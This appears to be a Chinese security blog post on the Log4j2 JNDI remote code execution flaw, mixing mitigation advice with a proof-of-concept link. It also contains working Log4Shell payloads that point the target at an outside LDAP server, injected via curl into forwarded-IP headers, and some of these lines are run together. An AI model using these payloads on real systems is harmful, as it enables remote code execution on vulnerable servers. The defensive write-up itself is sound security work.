Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。
[TOC]
0x00 快速介绍
Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护
背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。 Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。
Apache 日志记录服务官网: https://logging.apache.org/ Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html
漏洞时间: 影响版本: Apache Log4j 2.x <= 2.14.1
POC & Exploit: https://github.com/tangxiaofeng7/apache-log4j-poc
简单分析+审计:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
修复建议:
安全建议
- 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
- 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
- jvm参数 -Dlog4j2.formatMsgNoLookups=true
- log4j2.formatMsgNoLookups=True
- 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
- 禁止使用log4j的服务器外连出网
- 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入
${jndi:ldap://10.20.172.103:8088/Exploit}
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Real-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’
-H ‘X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8080/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_X_FORWARDED_FOR:
X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/badClassName}Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_X_FORWARDED_FOR:
${jndi:ldap://37bo7s.ceye.io/a}
String ip="";
String ip1 = request.getHeader("X_FORWARDED_FOR");
String ip2 = request.getHeader("X-Forwarded-For");
String ip3 = request.getHeader("Proxy-Client-IP");
String ip4 = request.getHeader("WL-Proxy-Client-IP");
String ip5 = request.getHeader("HTTP_CLIENT_IP");
String ip6 = request.getHeader("HTTP_X_FORWARDED_FOR");
相关文章
- Apache Solr远程代码执行(CVE-2019-0193)漏洞复现
- Apache Solr CVE-2019-17558漏洞复现
- apache 和 nginx 的区别
- Apache Struts2远程代码执行漏洞(S2-015)复现及修复方案 「建议收藏」
- 分析调试apache shiro反序列化漏洞(CVE-2016-4437)
- Apache URL重定向
- Apache配置虚拟主机_apache启动但是访问不到
- CVE-2022-24288:Apache Airflow OS命令注入漏洞
- org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): dao.UserDao.selectU
- Apache ActiveMQ任意文件写入漏洞
- Hadoop3.0-Hdfs | Apache Hadoop介绍
- Apache ab并发负载压力测试实现方法
- apache用Linux服务器架设QQ五笔输入法服务:基于Apache技术(qq五笔linux)
- apache深度探索Linux下的Apache服务器(linuxgt)
- Apache 软件基金会的开源社区法则
- 中国首个个人主导的 Apache 孵化项目 SkyWalking 成功毕业
- Apache Struts2再曝远程代码执行漏洞(S2-046 附PoC)
- Apache Log4j 2 用户指南
- Linux Apache 虚拟主机:网站多重托管的最佳选择(linuxapache虚拟主机)
- 实现Linux搭建Apache服务器的简单指南(linux装apache)
- 如何正确卸载Linux服务器上的Apache Web服务器?(linux卸载apache)
- 使用Apache和MSSQL构建强大的数据库系统(apache mssql)
- Apache与MySQL联动改变Web服务(apache跟mysql)
- Apache与MySQL的完美融合开启精彩程序之旅(apache加mysql)
- apache的access.log和error.log减肥
- Apache配置详解(最好的APACHE配置教程)
- Apache默认是不支持SSI如何给Apache增加SSI支持
- WampServer下安装多个版本的PHP、mysql、apache图文教程